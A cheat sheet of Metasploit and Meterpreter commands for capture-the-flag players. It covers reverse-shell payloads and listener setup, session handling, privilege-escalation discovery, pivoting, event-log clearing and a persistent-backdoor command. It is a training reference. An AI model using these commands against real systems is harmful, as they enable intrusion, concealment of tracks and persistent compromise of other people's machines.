Metasploit Player Guide
Getting Started
- Start Metasploit Framework:
# Normal
msfconsole# No ASCII Art
msfconsole -q
- Launch an Exploit and Set Payload:
use exploit/multi/handler
set payload <payload>
set LHOST 172.16.10.15
set LPORT <your-port>
exploit
- Workspaces
# Primary Command workspace # Enter a Workspace workspace <target-workspace> # List Services services # List Hosts hosts # List Creds creds # List loot loot
Basic Commands
- Get a List of Meterpreter Commands:
help
- Background Current Session:
background
- List All Active Sessions:
sessions
OR
sessions -l
- Interact with a Session:
sessions -i <session-id>
File System Commands
- List Files in Directory:
ls
- Change Directory:
cd <directory>
- Print Working Directory:
pwd
- Download a File:
download <remote-file> <local-path>
- Upload a File:
upload <local-file> <remote-path>
- Delete a File:
rm <file>
- Make a Directory:
mkdir <directory>
System Commands
- Get System Information:
sysinfo
- Get User ID:
getuid
- Set User ID:
setuid <user-id>
- Get System Privileges:
getprivs
- Reboot the System:
reboot
- Shutdown the System:
shutdown
Network Commands
- Display Network Interfaces:
ipconfig
- Display Routing Table:
route
- Port Forwarding:
portfwd add -l <local-port> -p <remote-port> -r <remote-host>
- Port Forwarding List:
portfwd list
- Port Forwarding Delete:
portfwd delete -l <local-port> -p <remote-port> -r <remote-host>
Process Commands
- List Running Processes:
ps
- Kill a Process:
kill <process-id>
- Migrate to Another Process:
migrate <process-id>
Privilege Escalation
- Locate Local Exploits for PrivEsc
# Inside Meterpreter Session
meterpreter> run post/multi/recon/local_exploit_suggester
# Outside Meterpreter Session
use post/multi/recon/local_exploit_suggester
set session <session_id>
Pivoting
- Create a SOCKS Proxy:
use auxiliary/server/socks4a
set SRVPORT <port>
run
- Use a Meterpreter Session for Pivoting:
route add <target-subnet> <netmask> <session-id>
Advanced Commands
- Load Extensions:
load <extension>
Common extensions:
kiwi
,extapi
,stdapi
,priv
,incognito
- Execute a Command (no output):
execute -f <command>
- Execute a Command (with output):
execute -f <command> -i -t
Cleanup and Persistence
- Clear Event Logs:
clearev
- Create a Persistent Backdoor:
run persistence -U -i <interval> -p <port> -r <IP>
Miscellaneous
- Run a Meterpreter Script:
run <script>
- Use the Local Environment Shell:
shell
- Background a Meterpreter Session:
background
- Exit Meterpreter Session:
exit
Common Payloads
- Reverse TCP:
set payload windows/x64/meterpreter/reverse_tcp
- Reverse HTTP:
set payload windows/x64/meterpreter/reverse_http
- Reverse HTTPS:
set payload windows/x64/meterpreter/reverse_https
This cheat sheet provides a quick reference to essential Meterpreter commands, helping CTF players effectively utilize the capabilities of Meterpreter during competitions